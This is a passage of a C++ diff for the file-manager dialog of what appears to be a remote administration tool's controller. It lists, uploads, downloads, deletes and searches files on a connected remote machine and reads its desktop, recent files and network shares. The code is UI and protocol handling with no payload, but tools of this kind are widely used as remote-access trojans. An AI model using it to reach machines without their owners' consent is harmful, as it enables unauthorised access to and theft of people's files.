SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + + BYTE bPacket = COMMAND_FILE_GETNETHOOD; + m_iocpServer->Send(m_pContext, &bPacket, 1); +} + +void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) +{ + CString str; + TCHAR* pszFileName = NULL; + int strsize; + DWORD dwOffset = 0; // 位移指针 + for (int i = 0; dwOffset < buffersize - sizeof(int);) { + memcpy(&strsize, pbuffer + dwOffset, sizeof(int)); + pszFileName = (TCHAR*)(pbuffer + dwOffset + sizeof(int)); + str = pszFileName; + int nItem = m_list_remote_driver.InsertItem(m_list_remote_driver.GetItemCount(), str, DRIVE_REMOTE); + m_list_remote_driver.SetItemData(nItem, 1); + m_list_remote_driver.SetItemText(nItem, 1, _T("共享")); + m_list_remote_driver.SetItemText(nItem, 2, _T("")); + m_list_remote_driver.SetItemText(nItem, 3, _T("")); + dwOffset += (strsize + sizeof(int)); + } +} + +void CFileManagerDlg::OnClose() +{ + if (m_bOnClose) return; + m_bOnClose = TRUE; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + + DestroyIcon(m_hIcon); + + DestroyCursor(m_hCursor); + + if (m_hFileSend != INVALID_HANDLE_VALUE) { + CloseHandle(m_hFileSend); + m_hFileSend = INVALID_HANDLE_VALUE; + } + if (m_hFileRecv != INVALID_HANDLE_VALUE) { + CloseHandle(m_hFileRecv); + m_hFileRecv = INVALID_HANDLE_VALUE; + } + + int iImageCount = I_ImageList0.GetImageCount(); + for (int i = 0; i < iImageCount; i++) { + I_ImageList0.Remove(-1); + } + iImageCount = I_ImageList1.GetImageCount(); + + for (int i = 0; i < iImageCount; i++) { + I_ImageList1.Remove(-1); + } + + m_wndStatusBar.DestroyWindow(); + m_ProgressCtrl->DestroyWindow(); + SAFE_DELETE(m_ProgressCtrl); + + if (IsWindow(m_hWnd)) + DestroyWindow(); +} + +CString CFileManagerDlg::GetParentDirectory(CString strPath) +{ + CString strCurPath = strPath; + int Index = strCurPath.ReverseFind(_T('\\')); + if (Index == -1) { + return strCurPath; + } + CString str = strCurPath.Left(Index); + Index = str.ReverseFind(_T('\\')); + if (Index == -1) { + strCurPath = _T(""); + return strCurPath; + } + strCurPath = str.Left(Index); + + if (strCurPath.Right(1) != _T("\\")) + strCurPath += _T("\\"); + return strCurPath; +} + +void CFileManagerDlg::OnReceiveComplete() +{ + if (m_bOnClose) return; + switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + case TOKEN_FILE_LIST: // 文件列表 + FixedRemoteFileList(m_pContext->m_DeCompressionBuffer.GetBuffer(0), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + break; + case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名 + CreateLocalRecvFile(); + break; + case TOKEN_FILE_DATA: // 文件内容 + WriteLocalRecvFile(); + break; + case TOKEN_TRANSFER_FINISH: // 传输完成 + EndLocalRecvFile(); + break; + case TOKEN_CREATEFOLDER_FINISH: + GetRemoteFileList(_T(".")); + break; + case TOKEN_DELETE_FINISH: + EndRemoteDeleteFile(); + break; + case TOKEN_GET_TRANSFER_MODE: //文件上传 + SendTransferMode(); + break; + case TOKEN_DATA_CONTINUE: + SendFileData(); //文件上传数据 + break; + case TOKEN_RENAME_FINISH: + // 刷新远程文件列表 + GetRemoteFileList(_T(".")); + break; + case TOKEN_SEARCH_FILE_LIST: + FixedRemoteSearchFileList + ( + m_pContext->m_DeCompressionBuffer.GetBuffer(0), + m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 + ); + break; + case TOKEN_SEARCH_FILE_FINISH: + SearchEnd(); + break; + case TOKEN_COMPRESS_FINISH: + GetRemoteFileList(_T(".")); + break; + case TOKEN_FILE_GETNETHOOD: + fixNetHood(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + break; + case TOKEN_FILE_RECENT: { + CString strRecent = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + m_Remote_Directory_ComboBox.SetWindowText(strRecent); + m_list_remote.SetSelectionMark(-1); + GetRemoteFileList(); + } + break; + case TOKEN_FILE_INFO: { + CString szInfo = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + if (MessageBox(szInfo, _T("路径 确认拷贝到剪切板"), MB_ICONEXCLAMATION | MB_YESNO) == IDYES) { + CStringA a; + a = szInfo; + ::OpenClipboard(::GetDesktopWindow()); + ::EmptyClipboard(); + HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, a.GetLength() + 1); + if (hglbCopy != NULL) { + // Lock the handle and copy the text to the buffer. + LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy); + memcpy(lptstrCopy, a.GetBuffer(), a.GetLength() + 1); + GlobalUnlock(hglbCopy); // Place the handle on the clipboard. + SetClipboardData(CF_TEXT, hglbCopy); + GlobalFree(hglbCopy); + } + CloseClipboard(); + } + } + break; + case TOKEN_FILE_REFRESH: { + GetRemoteFileList(_T(".")); + } + break; + case TOKEN_FILE_ZIPOK: { + GetRemoteFileList(_T(".")); + ShowMessage(_T("压缩完成")); + MessageBox(0, _T("ZIP压缩完成")); + } + break; + case TOKEN_FILE_GETINFO: { + } + break; + + case TOKEN_FILE_SEARCHPLUS_LIST: + ShowSearchPlugList(); + break; + case TOKEN_FILE_SEARCHPLUS_NONTFS: { + DWORD_PTR dwResult; + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + break; + case TOKEN_FILE_SEARCHPLUS_HANDLE: { + DWORD_PTR dwResult; + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + break; + case TOKEN_FILE_SEARCHPLUS_INITUSN: { + DWORD_PTR dwResult; + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + break; + case TOKEN_FILE_SEARCHPLUS_GETUSN: { + DWORD_PTR dwResult; + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + break; + case TOKEN_FILE_SEARCHPLUS_NUMBER: { + DWORD_PTR dwResult; + int i; + memcpy(&i, m_pContext->m_DeCompressionBuffer.GetBuffer() + 1, sizeof(int)); + CString strMsgShow; + strMsgShow.Format(_T("已经搜索 %d 请勿再次搜索"), i); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + break; + + default: + SendException(); + break; + } +} + +void CFileManagerDlg::OnReceive() +{ +} + +void CFileManagerDlg::GetRemoteFileList(CString directory) +{ + if (directory.GetLength() == 0) { + int nItem = m_list_remote.GetSelectionMark(); + + // 如果有选中的,是目录 + if (nItem != -1) { + if (m_list_remote.GetItemData(nItem) == 1) { + directory = m_list_remote.GetItemText(nItem, 0); + } + } + // 从组合框里得到路径 + else { + m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); + } + } + // 得到父目录 + if (directory == _T("..")) { + if (m_Remote_Path.GetLength() == 3) return; + + m_Remote_Path = GetParentDirectory(m_Remote_Path); + } else if (directory != _T(".")) { + m_Remote_Path += directory; + if (m_Remote_Path.GetLength() > 0 && m_Remote_Path.Right(1) != _T("\\")) + m_Remote_Path += _T("\\"); + } + + // 是驱动器的根目录,返回磁盘列表 + if (m_Remote_Path.GetLength() == 0) { + return; + } + + // 发送数据前清空缓冲区 + int PacketSize = (m_Remote_Path.GetLength() + 1) * sizeof(TCHAR) + 1; + BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); + + bPacket[0] = COMMAND_LIST_FILES; + memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); + m_iocpServer->Send(m_pContext, bPacket, PacketSize); + LocalFree(bPacket); + + m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); + m_Remote_Directory_ComboBox.SetCurSel(0); + + // 得到返回数据前禁窗口 + m_list_remote.EnableWindow(FALSE); + m_list_remote_driver.EnableWindow(FALSE); + + DRIVE_CAZ = FALSE; +} + +void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ + if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1) { + //获取文件详细信息 + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); + if (pos != NULL) { + int nItem = m_list_remote.GetNextSelectedItem(pos); + CString filename = m_list_remote.GetItemText(nItem, 0); + filename = m_Remote_Path + filename; + // 发送数据前清空缓冲区 + int PacketSize = (filename.GetLength() + 1) * sizeof(TCHAR) + 1; + BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); + bPacket[0] = COMMAND_FILE_GETINFO; + memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1); + m_iocpServer->Send(m_pContext, bPacket, PacketSize); + LocalFree(bPacket); + } + return; + } + + GetRemoteFileList(); + *pResult = 0; +} + +void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) +{ + if (m_list_remote_driver.GetSelectedCount() == 0) + return; + + int nItem = m_list_remote_driver.GetSelectionMark(); + CString directory = m_list_remote_driver.GetItemText(nItem, 0); + if (directory.Compare(_T("桌面")) == 0) { + m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath); + m_list_remote.SetSelectionMark(-1); + GetRemoteFileList(); + return; + } + if (directory.Compare(_T("最近")) == 0) { + BYTE byToken = COMMAND_FILE_RECENT; + m_iocpServer->Send(m_pContext, &byToken, 1); + return; + } + m_Remote_Path = directory; + // 发送数据前清空缓冲区 + int PacketSize = (directory.GetLength() + 1) * sizeof(TCHAR) + 1; + BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); + + bPacket[0] = COMMAND_LIST_FILES; + memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1); + m_iocpServer->Send(m_pContext, bPacket, PacketSize); + LocalFree(bPacket); + + m_Remote_Directory_ComboBox.InsertString(0, directory); + m_Remote_Directory_ComboBox.SetCurSel(0); + + // 得到返回数据前禁窗口 + m_list_remote.EnableWindow(FALSE); + m_list_remote_driver.EnableWindow(FALSE); + DRIVE_CAZ = FALSE; + *pResult = 0; +} + +void CFileManagerDlg::OnclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) +{ +} + +void CFileManagerDlg::OnclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ +} + +void CFileManagerDlg::OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) +{ +} + +int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes); + +void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) +{ + // 重建标题 + m_list_remote.DeleteAllItems(); + int nItemIndex = 0; + m_list_remote.SetItemData + ( + m_list_remote.InsertItem(nItemIndex++, _T(".."), GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)), + 1 + ); + /* + ListView 消除闪烁 + 更新数据前用SetRedraw(FALSE) + 更新后调用SetRedraw(TRUE) + */ + m_list_remote.SetRedraw(FALSE); + + if (dwBufferLen != 0) { + // + for (int i = 0; i < 2; i++) { + // 跳过Token,共5字节 + byte* pList = (byte*)(pbBuffer + 1); + for (byte* pBase = pList; (unsigned long)(pList - pBase) < dwBufferLen - 1;) { + TCHAR* pszFileName = NULL; + DWORD dwFileSizeHigh = 0; // 文件高字节大小 + DWORD dwFileSizeLow = 0; // 文件低字节大小 + int nItem = 0; + bool bIsInsert = false; + FILETIME ftm_strReceiveLocalFileTime; + + int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; + // i 为 0 时,列目录,i为1时列文件 + bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i; + pszFileName = (TCHAR*)++pList; + + if (bIsInsert) { + int iicon = GetIconIndex(pszFileName, nType); + nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon); + m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); + SHFILEINFO sfi; + SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); + } + + // 得到文件大小 + pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR); + if (bIsInsert) { + CString strFileSize; + memcpy(&dwFileSizeHigh, pList, 4); + memcpy(&dwFileSizeLow, pList + 4, 4); + __int64 nFileSize = ((__int64)dwFileSizeHigh << 32) + dwFileSizeLow; + if (nFileSize >= 1024 * 1024 * 1024) + strFileSize.Format(_T("%0.2f GB"), (double)nFileSize / (1024 * 1024 * 1024)); + else if (nFileSize >= 1024 * 1024) + strFileSize.Format(_T("%0.2f MB"), (double)nFileSize / (1024 * 1024)); + else + strFileSize.Format(_T("%I64u KB"), nFileSize / 1024 + (nFileSize % 1024 ? 1 : 0)); + m_list_remote.SetItemText(nItem, 1, strFileSize); + memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); + CTime time(ftm_strReceiveLocalFileTime); + m_list_remote.SetItemText(nItem, 3, time.Format(_T("%Y-%m-%d %H:%M"))); + } + pList += 16; + } + } + } + + m_list_remote.SetRedraw(TRUE); + // 恢复窗口 + m_list_remote.EnableWindow(TRUE); + m_list_remote_driver.EnableWindow(TRUE); + if (DRIVE_CAZ == FALSE) { + DWORD_PTR dwResult; + ShowMessage(_T("远程目录:%s"), m_Remote_Path); + SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } +} + +void CFileManagerDlg::ShowMessage(TCHAR* lpFmt, ...) +{ + TCHAR buff[1024]; + va_list arglist; + va_start(arglist, lpFmt); + memset(buff, 0, sizeof(buff)); + vsprintf_s(buff, lpFmt, arglist); + DWORD_PTR dwResult; + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 0, (LPARAM)buff, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + va_end(arglist); +} + +void CFileManagerDlg::OnGo() +{ + m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); + m_Remote_Path += _T("\\"); + GetRemoteFileList(_T("..")); +} + +void CFileManagerDlg::OnRemotePrev() +{ + GetRemoteFileList(_T("..")); +} + +//////////////////////////////////以下为工具栏响应处理////////////////////////////////////////// + +void CFileManagerDlg::OnRemoteView() +{ + static int i = 0; + switch (i) { + case 0: + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_LIST); + break; + case 1: + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); + break; + case 2: + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON); + break; + case 3: + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); + break; + default: + break; + } + i++; + if (i > 3) i = 0; +} + +void CFileManagerDlg::OnRemoteRecent() +{ + BYTE byToken = COMMAND_FILE_RECENT; + m_iocpServer->Send(m_pContext, &byToken, 1); +} + +void CFileManagerDlg::OnRemoteDesktop() +{ + m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath); + m_list_remote.SetSelectionMark(-1); + GetRemoteFileList(); +} + +bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) +{ + TCHAR lpszFilter[MAX_PATH]; + TCHAR* lpszSlash = NULL; + memset(lpszFilter, 0, sizeof(lpszFilter)); + + if (lpPathName[lstrlen(lpPathName) - 1] != _T('\\')) + lpszSlash = _T("\\"); + else + lpszSlash = _T(""); + + wsprintf(lpszFilter, _T("%s%s*.*"), lpPathName, lpszSlash); + + WIN32_FIND_DATA wfd; + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 + return FALSE; + + do { + if (wfd.cFileName[0] == _T('.')) + continue; // 过滤这两个目录 + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + TCHAR strDirectory[MAX_PATH]; + wsprintf(strDirectory, _T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName); + FixedUploadDirectory(strDirectory); // 如果找到的是目录,则进入此目录进行递归 + } else { + CString file; + file.Format(_T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName); + m_Remote_Upload_Job.AddTail(file); + // 对文件进行操作 + } + } while (FindNextFile(hFind, &wfd)); + FindClose(hFind); // 关闭查找句柄 + return true; +} + +void CFileManagerDlg::EnableControl(BOOL bEnable) +{ + // m_list_local.EnableWindow(bEnable); + // m_Local_Directory_ComboBox.EnableWindow(bEnable); + m_list_remote.EnableWindow(bEnable); + m_Remote_Directory_ComboBox.EnableWindow(bEnable); +} + +CString CFileManagerDlg::ExtractNameFromFullPath(CString szFullPath) +{ + TCHAR path_buffer[_MAX_PATH]; + TCHAR fname[_MAX_FNAME]; + TCHAR ext[_MAX_EXT]; + _tcscpy_s(path_buffer, szFullPath); + _tsplitpath_s(szFullPath, NULL, 0, NULL, 0, fname, fname ? _MAX_FNAME : 0, ext, ext ? _MAX_EXT : 0); + return CString(fname) + CString(ext); +} + + +void CFileManagerDlg::OnTransferSend() +{ + m_bIsUpload = true; + // 重置上传任务列表 + m_Remote_Upload_Job.RemoveAll(); + CString file = GetDirectoryPath(TRUE); + if (file == "") return; + + m_Local_Path = file.Left(file.ReverseFind(_T('\\')) + 1); + if (GetFileAttributes(file) & FILE_ATTRIBUTE_DIRECTORY) { + if (file.GetAt(file.GetLength() - 1) != _T('\\')) + file += _T("\\"); + FixedUploadDirectory(file.GetBuffer(0)); + } else { + m_Remote_Upload_Job.AddTail(file); + } + + if (m_Remote_Upload_Job.IsEmpty()) { + ::MessageBox(m_hWnd, _T("文件夹为空"), _T("警告"), MB_OK | MB_ICONWARNING); + return; + } + EnableControl(FALSE); + SendUploadJob(); +} + +void CFileManagerDlg::TransferSend(CString file) +{ + if (!m_list_remote.GetItemText(0, 0).Compare(_T(""))) + return; + m_bIsUpload = true; + // 重置上传任务列表 + m_Remote_Upload_Job.RemoveAll(); + if (file == "") return; + + m_Local_Path = file.Left(file.ReverseFind(_T('\\')) + 1); + if (GetFileAttributes(file) & FILE_ATTRIBUTE_DIRECTORY) { + if (file.GetAt(file.GetLength() - 1) != _T('\\')) + file += _T("\\"); + FixedUploadDirectory(file.GetBuffer(0)); + } else { + m_Remote_Upload_Job.AddTail(file); + } + + if (m_Remote_Upload_Job.IsEmpty()) { + ::MessageBox(m_hWnd, _T("文件夹为空"), _T("警告"), MB_OK | MB_ICONWARNING); + return; + } + EnableControl(FALSE); + SendUploadJob(); +} + +// 获取选择的路径 +CString CFileManagerDlg::GetDirectoryPath(BOOL bIncludeFiles) +{ + CString szSavePath; + TCHAR szBrowsePath[MAX_PATH]; + ZeroMemory(szBrowsePath, sizeof(szBrowsePath)); + BROWSEINFO bi = { 0 }; //因为已经初始化为0.所以有些项不用再重复赋值了 + bi.hwndOwner = m_hWnd; + bi.pszDisplayName = szBrowsePath; + if (bIncludeFiles) { + bi.lpszTitle = _T("请选择上传路径: "); + bi.ulFlags = BIF_BROWSEINCLUDEFILES; + } else { + bi.lpszTitle = _T("请选择下载路径: "); + bi.ulFlags = BIF_RETURNONLYFSDIRS; + } + LPITEMIDLIST lpiml = { 0 }; + lpiml = SHBrowseForFolder(&bi); //如果没有选中目录,则返回NULL + if (lpiml && SHGetPathFromIDList(lpiml, szBrowsePath))//从lpiml 中获取路径信息 + szSavePath = szBrowsePath; + else + return _T(""); + return szSavePath; +} + +//////////////// 文件传输操作 //////////////// +// 只管发出了下载的文件 +// 一个一个发,接收到下载完成时,下载第二个文件 ... +void CFileManagerDlg::OnRemoteCopy() +{ + m_bIsUpload = false; + // 禁用文件管理窗口 + EnableControl(FALSE); + + CString file; + m_Remote_Download_Job.RemoveAll(); + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list_remote.GetNextSelectedItem(pos); + file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + // 如果是目录 + if (m_list_remote.GetItemData(nItem)) + file += '\\'; + m_Remote_Download_Job.AddTail(file); + } + if (file.IsEmpty()) { + EnableControl(TRUE); + ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); + return; + } + + strLpath = GetDirectoryPath(FALSE); + if (strLpath == _T("")) { + EnableControl(TRUE); + return; + } + if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) + strLpath += _T("\\"); + m_nTransferMode = TRANSFER_MODE_NORMAL; + // 发送第一个下载任务 + SendDownloadJob(); +} + +// 发出一个下载任务 +BOOL CFileManagerDlg::SendDownloadJob() +{ + if (m_Remote_Download_Job.IsEmpty()) + return FALSE; + + EnableControl(FALSE); + // 发出第一个下载任务命令 + CString file = m_Remote_Download_Job.GetHead(); + int nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; + BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); + bPacket[0] = COMMAND_DOWN_FILES; + + // 文件偏移,续传时用 + memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR)); + m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + LocalFree(bPacket); + + // 从下载任务列表中删除自己 + m_Remote_Download_Job.RemoveHead(); + + return TRUE; +} + +// 发出一个上传任务 +BOOL CFileManagerDlg::SendUploadJob() +{ + if (m_Remote_Upload_Job.IsEmpty()) + return FALSE; + + EnableControl(FALSE); + CString strDestDirectory = m_Remote_Path; + // 如果远程也有选择,当做目标文件夹 + int nItem = m_list_remote.GetSelectionMark(); + + if (!m_hCopyDestFolder.IsEmpty()) { + strDestDirectory += m_hCopyDestFolder + _T("\\"); + } + + if (strDestDirectory.IsEmpty()) { + m_Local_Path = _T(""); + m_Remote_Upload_Job.RemoveHead(); + EnableControl(TRUE); + ::MessageBox(m_hWnd, _T("请选择目录!"), _T("警告"), MB_OK | MB_ICONWARNING); + return 0; + } + + // 发出第一个下载任务命令 + m_strOperatingFile = m_Remote_Upload_Job.GetHead(); + + DWORD dwSizeHigh; + DWORD dwSizeLow; + CString fileRemote = m_strOperatingFile; // 远程文件 + + // 得到要保存到的远程的文件路径 + fileRemote.Replace(m_Local_Path, strDestDirectory); + m_strFileName = m_strUploadRemoteFile = fileRemote; + + if (m_hFileSend != INVALID_HANDLE_VALUE) + CloseHandle(m_hFileSend); + m_hFileSend = CreateFile(m_strOperatingFile.GetBuffer(0), + GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (m_hFileSend == INVALID_HANDLE_VALUE) + return FALSE; + dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh); + m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; + //CloseHandle(m_hFileSend); // 此处不要关闭, 以后还要用 + + // 构造数据包,发送文件长度(1字节token, 8字节大小, 文件名称, '\0') + int nPacketSize = (fileRemote.GetLength() + 1) * sizeof(TCHAR) + 9; + BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); + memset(bPacket, 0, nPacketSize); + + bPacket[0] = COMMAND_FILE_SIZE; + memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); + memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); + memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR)); + m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + LocalFree(bPacket); + + // 从下载任务列表中删除自己 + m_Remote_Upload_Job.RemoveHead(); + return TRUE; +} + +// 发出一个删除任务 +BOOL CFileManagerDlg::SendDeleteJob() +{ + if (m_Remote_Delete_Job.IsEmpty()) + return FALSE; + + EnableControl(FALSE); + // 发出第一个下载任务命令 + CString file = m_Remote_Delete_Job.GetHead(); + int nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; + BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); + + m_strFileName = file; + if (file.GetAt(file.GetLength() - 1) == '\\') + bPacket[0] = COMMAND_DELETE_DIRECTORY; + else + bPacket[0] = COMMAND_DELETE_FILE; + + // 文件偏移,续传时用 + memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); + m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + LocalFree(bPacket); + + // 从下载任务列表中删除自己 + m_Remote_Delete_Job.RemoveHead(); + + DRIVE_CAZ = TRUE; + return TRUE; +} + +void CFileManagerDlg::CreateLocalRecvFile() +{ + // 重置计数器 + m_nCounter = 0; + + FILESIZE* pFileSize = (FILESIZE*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwSizeHigh = pFileSize->dwSizeHigh; + DWORD dwSizeLow = pFileSize->dwSizeLow; + if (pFileSize->error==FALSE) { + EnableControl(TRUE); + return; + } + m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; + + // 当前正操作的文件名 + m_strOperatingFile = (TCHAR*)(m_pContext->m_DeCompressionBuffer.GetBuffer(9)); + + m_strReceiveLocalFile = m_strOperatingFile; + + // 得到要保存到的本地的文件路径 + m_strReceiveLocalFile.Replace(m_Remote_Path, strLpath); + m_strFileName = m_strReceiveLocalFile; + + // 创建多层目录 + MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0)); + + WIN32_FIND_DATA FindFileData; + HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData); + + if (hFind != INVALID_HANDLE_VALUE + && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL + && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL + && m_nTransferMode != TRANSFER_MODE_JUMP_ALL + ) { + CFileTransferModeDlg dlg(this); + dlg.m_strFileName = m_strReceiveLocalFile; + switch (dlg.DoModal()) { + case IDC_OVERWRITE: + m_nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case IDC_OVERWRITE_ALL: + m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; + break; + case IDC_ADDITION: + m_nTransferMode = TRANSFER_MODE_ADDITION; + break; + case IDC_ADDITION_ALL: + m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; + break; + case IDC_JUMP: + m_nTransferMode = TRANSFER_MODE_JUMP; + break; + case IDC_JUMP_ALL: + m_nTransferMode = TRANSFER_MODE_JUMP_ALL; + break; + case IDC_CANCEL: + m_nTransferMode = TRANSFER_MODE_CANCEL; + break; + } + } + + if (m_nTransferMode == TRANSFER_MODE_CANCEL) { + // 取消传送 + m_bIsStop = true; + SendStop(TRUE); + FindClose(hFind); + return; + } + + int nTransferMode; + switch (m_nTransferMode) { + case TRANSFER_MODE_OVERWRITE_ALL: + nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case TRANSFER_MODE_ADDITION_ALL: + nTransferMode = TRANSFER_MODE_ADDITION; + break; + case TRANSFER_MODE_JUMP_ALL: + nTransferMode = TRANSFER_MODE_JUMP; + break; + default: + nTransferMode = m_nTransferMode; + } + + // 1字节Token,四字节偏移高四位,四字节偏移低四位 + BYTE bToken[9]; + DWORD dwCreationDisposition; // 文件打开方式 + memset(bToken, 0, sizeof(bToken)); + bToken[0] = COMMAND_CONTINUE; + + // 文件已经存在 + if (hFind != INVALID_HANDLE_VALUE) { + // 提示点什么 + // 如果是续传 + if (nTransferMode == TRANSFER_MODE_ADDITION) { + memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); + memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); + // 接收的长度递增 + m_nCounter += (__int64)FindFileData.nFileSizeHigh << 32; + m_nCounter += FindFileData.nFileSizeLow; + + dwCreationDisposition = OPEN_EXISTING; + } + // 覆盖 + else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { + // 偏移置0 + memset(bToken + 1, 0, 8); + // 重新创建 + dwCreationDisposition = CREATE_ALWAYS; + + } + // 跳过,指针移到-1 + else if (nTransferMode == TRANSFER_MODE_JUMP) { + DWORD dwOffset = -1; + memcpy(bToken + 1, &dwOffset, 4); + memcpy(bToken + 5, &dwOffset, 4); + dwCreationDisposition = OPEN_EXISTING; + DWORD_PTR dwResult; + SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 100, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + } else { + // 偏移置0 + memset(bToken + 1, 0, 8); + // 重新创建 + dwCreationDisposition = CREATE_ALWAYS; + } + FindClose(hFind); + + if (m_hFileRecv != INVALID_HANDLE_VALUE) + CloseHandle(m_hFileRecv); + m_hFileRecv = 